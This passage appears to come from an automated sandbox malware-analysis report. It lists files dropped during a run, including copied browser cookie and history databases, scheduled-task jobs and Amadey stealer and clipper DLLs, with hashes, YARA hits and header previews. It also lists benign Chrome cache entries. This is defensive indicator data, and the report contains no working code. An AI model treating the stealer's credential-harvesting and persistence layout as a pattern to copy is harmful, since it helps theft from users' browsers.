File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\cwR_H7C7b38yCookies

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\n9KUN3buEroRHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiuIh7Ey0HBdjO\pyOtnmuB0byGWeb Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.873140679513133
Encrypted:	false
SSDEEP:	3:LzVd3Sn:/in
MD5:	FD4920ECB1B8CBBECBFE6BFE88A1C364
SHA1:	C2DB43D094676B91A0B5BA420CD86A2BA8736345
SHA-256:	F1797C835DB0D9DB279DE32061133BDBE68EBC3A365F672F471A3879470B75FB
SHA-512:	49211496C7A22741B0059CAD5B6281DC04A8FC65CC46412F8DC5DC2CA2BD43616C4B880E284010B7C576489CB61D07B927487166A4818AD7C89614595CA58AB2
Malicious:	false
Preview:	1713480842687

C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400356358225577
Encrypted:	false
SSDEEP:	3072:D4uSD+ZwruS0bGYuZRtasSVh/QEIegRQod4l:kuTiabruZR8JSlD4l
MD5:	154C3F1334DD435F562672F2664FEA6B
SHA1:	51DD25E2BA98B8546DE163B8F26E2972A90C2C79
SHA-256:	5F431129F97F3D56929F1E5584819E091BD6C854D7E18503074737FC6D79E33F
SHA-512:	1BCA69BBCDB7ECD418769E9D4BEFC458F9F8E3CEE81FEB7316BB61E189E2904F4431E4CC7D291E179A5DEC441B959D428D8E433F579036F763BBAD6460222841
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L......e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460276790319054
Encrypted:	false
SSDEEP:	24576:2vkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggv4+yC7:2sMPSYcS5wPi095PbgS4
MD5:	F35B671FDA2603EC30ACE10946F11A90
SHA1:	059AD6B06559D4DB581B1879E709F32F80850872
SHA-256:	83E3DF5BEC15D5333935BEA8B719A6D677E2FB3DC1CF9E18E7B82FD0438285C7
SHA-512:	B5FA27D08C64727CEF7FDDA5E68054A4359CD697DF50D70D1D90DA583195959A139066A6214531BBC5F20CD4F9BC1CA3E4244396547381291A6A1D2DF9CF8705
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d......e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\chrosha.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.434499190558441
Encrypted:	false
SSDEEP:	6:3G6WClbXpRKUEZ+lX1ErCqdtPjgsW2YRZuy0lwzt0:26llrpRKQ1EeqHjzvYRQVwzt0
MD5:	F6C4D6B656A4B2FCD85C2B9D6ED1C7E0
SHA1:	5208FE9F1DAA799B6C421961F7246C2F6D93A9E2
SHA-256:	428343331D1A23207B4F6F2B1950E33060206D43DCABC2A79E74D33F5EA5487A
SHA-512:	E83B16020CFC78B7FE999215C5F4A48B04D6B454F51BB451EB236E4927A4A61033C31921F36FDC1D62148C9570DD96766CD03C8FB26B1C8CE420889287B27D28
Malicious:	false
Preview:	....).![.5.C.j...$F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.d.0.a.b.1.5.8.0.4.\.c.h.r.o.s.h.a...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................).@3P.........................

C:\Windows\Tasks\explorha.job

Download File

Process:	C:\Users\user\Desktop\UeW2b6mU6Z.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.456411671638606
Encrypted:	false
SSDEEP:	6:+XPX4RKUEZ+lX1y6y2l+lRdtPjgsW2YRZuy0l+zt0:+Xv4RKQ1y6NkDHjzvYRQVSt0
MD5:	9C4FCE73B6168681485D32D2BB607BDD
SHA1:	6159DD084A2A5B7DC5CECABBDE5C2948CA214340
SHA-256:	27A767C4A337286BC8BFBDE22E3575FDB1F589512971FC00889E8B77956558E9
SHA-512:	99225E06C946EC6449C8A93D66304CFCFD49A61E087652BB0E8204B18C02B1D394C77A98DF1156023438A5507493A378CF557D13787709CB0ECBB6CC3108CD7C
Malicious:	false
Preview:	.....7.T..B..k.%M*bF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.9.f.d.8.5.1.a.4.f.\.e.x.p.l.o.r.h.a...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................'.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468622098295729
Encrypted:	false
SSDEEP:	6144:oIXfpi67eLPU9skLmb0b4tWSPKaJG8nAgejZMMhA2gX4WABl0uNgdwBCswSbH:9XD94tWlLZMM6YFHu+H
MD5:	F54607143596C735A14F9ADDA8DEB6B6
SHA1:	537A3A2859B3260216470A73007B529DC929E2A6
SHA-256:	2B7B1FADAABF114881DBBD476A5836BADBF84D0B4CBE7DD5781232F6A1650083
SHA-512:	217972B3DD973272F37CFB6EDE0F720E9F6EEA3BFE0FF6A9CA0576D9D7766BB9BB680503296D1DF9A1C276F786A2A7DCE0E87A74C4B67B8613975C43F9C1E5B8
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.h.................................................................................................................................................................................................................................................................................................................................................k.8........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1631)
Category:	downloaded
Size (bytes):	38525
Entropy (8bit):	5.3838229197405845
Encrypted:	false
SSDEEP:	768:ka4ZsJiVqZZIpNGVMfgXafCcgBRyLa7l6txRjXbwm75/JgZRrQAT6l:bZCfVfCCa7qxR3nt/JgT6
MD5:	F269DC67D0E2355F1A50E500D5BE54A8
SHA1:	96A3A5C465D8A6B18373BF73138DBEB2B03AE534
SHA-256:	7FAB6151E7F2088D3E76373C563CCC3F9AE1523C49E8D38225F82158F8557954
SHA-512:	4B81B50467C5CD3CB11DCA60F6A9438214557565BEE34558B128BE17628965A6184D5845E4B61B883D8C4F140BE97259A16AF5361280EE1ADE4F0E674A4B2101
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eIcQTVVx-II.es5.O/ck=boq-identity.AccountsSignInUi.abUGhSwZr5E.L.B1.O/am=PsAiunEsAGLEeeADFAVCBgAAAAAAAAAArQFmBg/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHYVIY_xDR0LysuBLCMtKRhPVvgNQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:NoODMc;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.mpa=function(a){var b=0,c;for(c in a)b++;return b};_.npa=function(a){return a.hh&&"function"==typeof a.hh?a.hh():_.ja(a)\|\|"string"===typeof a?a.length:_.mpa(a)};_.qn=function(a){if(a.Xg&&"function"==typeof a.Xg)return a.Xg();if("undefined"!==typeof Map&&a instanceof Map\|\|"undefined"!==typeof Set&&a instanceof Set)return Array.from(a.values());if("string"===typeof a)return a.split("");if(_.ja(a)){for(var b=[],c=a.length,d=0;d<c;d++)b.push(a[d]);return b}return _.ob(a)};._.opa=function(a){if(a.Vg&&"function"==typeof a.Vg)return a.Vg();if(!a.Xg\|\|"function"!=typeof a.Xg){if("undefined"!==typeof Map&&a instanceof Map)return Array.from(a.keys());if(!("undefined"!==typeof Set&&a instanceof Set)){if(_.ja(a)\|\|"string"===typeof a){var b=[];a=a.length;for(var c=0;c<a;c++)b.push(c);return b}return _.pb(a)}}};.var ppa,spa,rpa,qpa,Gn,In,Epa,vpa,xpa,wpa,Apa,ypa;ppa=function(a,b,c){if(b)re

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (467)
Category:	downloaded
Size (bytes):	1884
Entropy (8bit):	5.292262488069745
Encrypted:	false
SSDEEP:	48:o7YQTzKjrL3AnFw4paFNW7xOkZfIt3UrkCq/srw:otoLcFx4kRIes4w
MD5:	2DB6AB32BE79D1F4C092D251080FD3FF
SHA1:	393B0124159B4B7269CABA1991D8BB0F24EBF073
SHA-256:	523799F3A4E2A3F4A453A43AC03CD6B01EFAC005DAB66CE87277B9CCEC7BB67F
SHA-512:	6D6DDA518FB82DE0D554B21810CC33A8C4708043377F4BA5C8AD1372DACAE52A02213C4A919EBF3AF27BEBFCE5432BAF0346A3E823A65AE442D1B9AF6D60BDFA
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eIcQTVVx-II.es5.O/ck=boq-identity.AccountsSignInUi.abUGhSwZr5E.L.B1.O/am=PsAiunEsAGLEeeADFAVCBgAAAAAAAAAArQFmBg/d=1/exm=A7fCU,AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,VwDzFe,YHI3We,YTxL4,YgOFye,ZZ4WUe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,f8Gu1e,hc6Ubd,inNHtf,lsjVmc,ltDFwf,lwddkf,mvkUhe,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPYxq,qPfo0c,qmdT9,rmumx,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,w9hDv,ws9Tlc,xBaz7b,xQtZb,xiZRqc,yRXbo,ywOR5c,zbML3c,ziZ8Mc,zr1jrb,zu7j8,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHYVIY_xDR0LysuBLCMtKRhPVvgNQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:NoODMc;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=iAskyc,ziXSP"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("iAskyc");._.ZX=function(a){_.I.call(this,a.Ha);this.window=a.Fa.window.get();this.Bc=a.Fa.Bc};_.A(_.ZX,_.I);_.ZX.Na=_.I.Na;_.ZX.Ba=function(){return{Fa:{window:_.Hq,Bc:_.NB}}};_.ZX.prototype.Yn=function(){};_.ZX.prototype.addEncryptionRecoveryMethod=function(){};_.$X=function(a){return(null==a?void 0:a.lq)\|\|function(){}};_.aY=function(a){return(null==a?void 0:a.sca)\|\|function(){}};_.bY=function(a){return(null==a?void 0:a.Sn)\|\|function(){}};._.JBb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.KBb=function(a){setTimeout(function(){throw a;},0)};_.ZX.prototype.uJ=function(){return!0};_.Eq(_.Cl,_.ZX);._.l();._.k("ziXSP");.var AY=function(a){_.ZX.call(this,a.Ha)};_.A(AY,_.ZX);AY.Na=_.ZX.Na;AY.Ba=_.ZX.Ba;AY.prototype.Yn=function(a,b,c){var d;

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	749
Entropy (8bit):	4.70368920713592
Encrypted:	false
SSDEEP:	12:t4nolW84qhebl8cP5UbKEBnStLJdJad+DB3xELFkXUIx+RWuSrtUjAC9ZiCWInLE:t4olS+2x5UbKrTJ9DA0YWrrmWCFzfIvB
MD5:	AA920B32443219E3EDFA32DEF5EBD457
SHA1:	8A4B47D0A2CA261803AA5C1A9DDE7BA3FE15B298
SHA-256:	E5773339E56DD15D8DAAB94CE6ED5D444D1EF0B61355E20854234605BB2E755B
SHA-512:	C45BDB233447E1F4D3B4B5174A328E3D8987C9B5E2E12733E5027173B0302919680901C311094714CFC32AC2F2C749DC9EB95FFCAA8F5DA1E5EBEF3FB7225E37
Malicious:	false
URL:	https://www.gstatic.com/images/branding/productlogos/googleg/v6/36px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" height="36" viewBox="0 0 36 36" width="36"><path d="M34.32 18.39c0-1.17-.11-2.3-.29-3.39H18v6.48h9.4c-.38 2.19-1.59 4.05-3.42 5.31v4.1h5.28c3.2-2.97 5.06-7.33 5.06-12.5z" fill="#4285F4"/><path d="M18 35c4.59 0 8.44-1.52 11.25-4.12l-5.28-4.1c-1.57 1.08-3.59 1.71-5.97 1.71-4.51 0-8.33-3.02-9.73-7.11H2.82v4.23C5.62 31.18 11.36 35 18 35z" fill="#34A853"/><path d="M8.27 21.39c-.36-1.07-.57-2.21-.57-3.39s.21-2.32.58-3.39v-4.23H2.82C1.67 12.67 1 15.25 1 18s.67 5.33 1.82 7.63l5.45-4.24z" fill="#FBBC05"/><path d="M18 7.5c2.56 0 4.86.88 6.67 2.61l.01.02 4.7-4.7C26.43 2.68 22.59 1 18 1 11.36 1 5.62 4.82 2.82 10.37l5.45 4.23c1.4-4.08 5.22-7.1 9.73-7.1z" fill="#EA4335"/><path d="M1 1h34v34H1z" fill="none"/></svg>

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (693)
Category:	downloaded
Size (bytes):	3141
Entropy (8bit):	5.381866681101836
Encrypted:	false
SSDEEP:	48:o7VSeBvFfGiW0rq8sdQfydNQ8jsN4FwCYYnyTM4WCOcUkp+4pP8mLjujrFQp4rw:oA4zWynYzdOqbnyT6COm+4V8zO8w
MD5:	18637A7357C35DBB1A9E667CFCF52ED0
SHA1:	0FD3CA9D31EA8BDBD658236A8D70421F7B22F30D
SHA-256:	25815BE99894ED26F3B92AE4A2C542F5AE523C44C7F83CCC90E63FCE939AC50A
SHA-512:	BDF27DB349AEBA777DEC00EC6F505A01A5926837D9DB95BC1D3A204DC53A0AA7760DAFB8834A025B5333468B635ED875CBFFC63F771AD3682108EB711C821073
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eIcQTVVx-II.es5.O/ck=boq-identity.AccountsSignInUi.abUGhSwZr5E.L.B1.O/am=PsAiunEsAGLEeeADFAVCBgAAAAAAAAAArQFmBg/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,YHI3We,YTxL4,YgOFye,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,eVCnO,f8Gu1e,hc6Ubd,inNHtf,lsjVmc,ltDFwf,lwddkf,mvkUhe,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,xiZRqc,yRXbo,ywOR5c,zbML3c,ziZ8Mc,zr1jrb,zu7j8,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHYVIY_xDR0LysuBLCMtKRhPVvgNQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:NoODMc;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul